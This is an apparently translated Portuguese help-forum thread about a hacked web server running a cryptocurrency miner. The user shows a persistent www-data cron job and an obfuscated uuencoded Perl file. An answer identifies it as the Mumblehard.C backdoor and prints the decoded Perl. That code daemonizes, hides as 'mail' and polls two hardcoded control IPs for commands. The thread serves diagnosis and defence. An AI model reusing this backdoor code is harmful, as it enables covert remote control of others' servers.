ataque de mineração Bitcoin

6

Acho que meu servidor foi atacado e agradeço qualquer ajuda.

Na imagem Processo superior mostra processos estranhos.

A saída de netstat -tap mostra vários:

tcp        0      1 myserver:47985            monero.crypto-pool:6666 SYN_ENVI    -

Se eu fizer isso: crontab -e ou crontab -l ele não mostra nada. Então eu encontrei isto:

sudo cat /var/spool/cron/crontabs/www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/var/tmp/dflubvojhH7 installed on Mon Jan  8 21:01:29 2018)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
*/10 * * * * perl /var/tmp/dflubvojhH >/dev/null 2>&1

Verificando permissões de arquivo

/var/spool/cron/crontabs# ll

-rw------- 1 ww-data       www-data     191 Jan 10 11:26 www-data

Então eu encontrei este arquivo executável:

ls /var/tmp/
gnqjfq

O conteúdo do arquivo:

$ cat /var/tmp/gnqjfq 
my $FMJJIN;$FMJJIN.=$_ while(<DATA>);eval(unpack('u*',$FMJJIN));
__DATA__
M(R$O=7-R+V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E
M($E/.CI3;V-K970["G5S92!)3SHZ4V5L96-T.PHD,"'](")M86EL(CL@)'P@
M/2'Q.R'F;6%I;[email protected]=6(@;6%I;@I["F5X:70@,"!U;FQE<W,@9&5F:6YE
M9"'H;7D@)'!I9"'](&9O<FLI.PIE>&ET(#'@:68@)'!I9#L*4$][email protected]
M='-I9"@I.PHD4TE'>R1??2']("))1TY/4D4B(&9O<B'H<7<@*$A54"!)3E0@
M24Q,($9012!154E4($%"4E0@55-2,2!314=6(%534C(@4$E012!!3%)-(%1%
M4DT@0TA,1"DI.PIU;6%S:R'P.PIC:&1I<B'B+R(["F]P96X@*%-41$E.+"'B
M/"]D978O;G5L;"(I.PIO<&5N("A35$1/550L("(^+V1E=B]N=6QL(BD["F]P
M96X@*%-41$524BP@(CXF4U1$3U54(BD["FUY("1U<FP@/2!;(C<W+C<R+C@S
M+C$S-R(L(CDS+C@X+C<T+C(T,R)=.PIM>2'D<FYD(#T@6R)A(BXN(GHB+"'B
M02(N+B):(ET[("1R;F0@/2!J;VEN("@B(BP@0"1R;F1;;6%P('MR86YD($'D
M<FYD?2@Q+BXH-B'K(&EN="!R86YD(#4I*5TI.PIM>2'D9&ER(#T@(B]V87(O
M=&UP(CL@:68@*&]P96X@*$8L("(^(BP@(B]T;7'O)')N9"(I*2![(&-L;W-E
M($8[('5N;&EN:R'B+W1M<"\D<FYD(CL@)&1I<B'](B]T;7'B.R!]"FUY("@D
M:&5A9&5R+"'D8V]N=&5N="D["FUY("@D;&EN:RP@)&9I;&4L("1I9"P@)&-O
M;6UA;F0L("1T:6UE;W5T*2']("@B96XN=VEK:7!E9&EA+F]R9R(L(")I;F1E
M>"YH=&UL(BP@,[email protected](#$P*3L*9F]R96%C:"!M>2'D<G,@*$'D=7)L*0I[
M"B1H96%D97(@/2'B)&1I<B\B("X@=&EM93L@)&-O;G1E;G0@/2'D:&5A9&5R
M("X@(C$B.PIU;FQI;FL@)&AE861E<B!I9B'M9B'D:&5A9&5R.R!U;FQI;FL@
M)&-O;G1E;G0@:68@+68@)&-O;G1E;G0["B9H='1P*"1R<RP@)'1I;65O=70L
M("1H96%D97(L("1C;VYT96YT+"'P*3L*:68@*&]P96X@*$8L("(\(BP@)&AE
M861E<BDI"GL*9FQO8VL@1BP@,3L*;7D@*"1T97-T+"'D=&%S:RD@/2'H,"P@
M(B(I.PIW:&EL92'H/$8^*0I["G,O7EQS*BA;7EQS73\N*BDD+R0Q+SL*<R]>
M*"XJ6UY<<UTI7',J)"\D,2\["FYE>'0@=6YL97-S(&QE;F=T:"'D7SL*)'1E
M<W0@*RL@:68@)%\@97$@(DA45%'O,2XP(#(P,"!/2R(@?'P@)%\@97$@(D-O
M;FYE8W1I;VXZ(&-L;W-E(CL@)'1A<VL@/2'D,2!I9B'O7E-E="U#;V]K:64Z
M(%!(4%-%4U-)1#TH6UX[72LI+SL*?0IC;&]S92!&.PHH)&QI;FLL("1F:6QE
M+"'D:60L("1C;VUM86YD+"'D=&EM96]U="D@/2'F9&5C>&0H)'1A<VLI(&EF
M("1T97-T(#T](#(@)B8@;&5N9W1H("1T87-K.PI]"G5N;&EN:R'D:&5A9&5R
M(&EF("UF("1H96%D97([('5N;&EN:R'D8V]N=&5N="!I9B'M9B'D8V]N=&5N
...

Eu tentei isso:

  1. Comente a linha do cron: não funcionou, cria um novo cron
  2. Excluir o arquivo cron www-data: não funcionou, ele cria um novo arquivo cron
  3. Exclua a linha cron e altere proprietário / grupo para raiz: não funcionou. Eu não sei como ele faz isso, mas depois de 2 dias ele começou a trabalhar novamente, mas o cron continua vazio e com o dono da raiz.
por user1669052 12.01.2018 / 15:41

1 resposta

4

Esta parece ser a carga do backdoor Mumblehard.C. Este arquivo permite a execução arbitrária de código dos servidores de controle listados no arquivo e seria capaz de executar com as permissões do usuário www-data.

Eu certamente backup de seus dados e reinstalar no entanto, o escopo deste backdoor deve ser apenas o usuário www-data e provavelmente foi devido a uma instalação do WordPress desatualizada.

É intencionalmente difícil matar. Você pode, em vez disso, matar todos os processos em execução sob o usuário www-data se precisar tentar atenuá-lo enquanto o sistema ainda estiver em execução.

O arquivo em / var / tmp é um script perl que codifica outro script perl usando o formato uuencode. Você não incluiu a coisa toda, mas aqui está o que parece até agora:

#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$0 = "mail"; $| = 1; &main();
sub main
{
exit 0 unless defined (my $pid = fork);
exit 0 if $pid;
POSIX::setsid();
$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
umask 0;
chdir "/";
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
my $url = ["77.72.83.137","93.88.74.243"];
my $rnd = ["a".."z", "A".."Z"]; $rnd = join ("", @$rnd[map {rand @$rnd}(1..(6 + int rand 5))]);
my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$rnd")) { close F; unlink "/tmp/$rnd"; $dir ="/tmp"; }
my ($header, $content);
my ($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
foreach my $rs (@$url)
{
$header = "$dir/" . time; $content = $header . "1";
unlink $header if -f $header; unlink $content if -f $content;
&http($rs, $timeout, $header, $content, 0);
if (open (F, "<", $header))
{
flock F, 1;
my ($test, $task) = (0, "");
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$test ++ if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close"; $task = $1 if /^Set-Cookie: PHPSESSID=([^;]+)/;
}
close F;
($link, $file, $id, $command, $timeout) = &decxd($task) if $test == 2 && length $task;
}
unlink $header if -f $header; unlink $content if -f $conten

Isso parece acompanhar de perto o código daqui:

link

Onde 77.72.83.137 e 93.88.74.243 são os servidores de controle. Ambos esses IPs estão registrados na Rússia e são para VPSs. Um dos IPs está listado para atividade de spam:

link

Como esses IPs são indexados nos mecanismos de pesquisa, espere que o invasor os desabilite automaticamente. Embora eu duvide muito, já que os VPSs não vão ajudá-lo legalmente de qualquer maneira.

    
por jdwolf 12.01.2018 / 17:00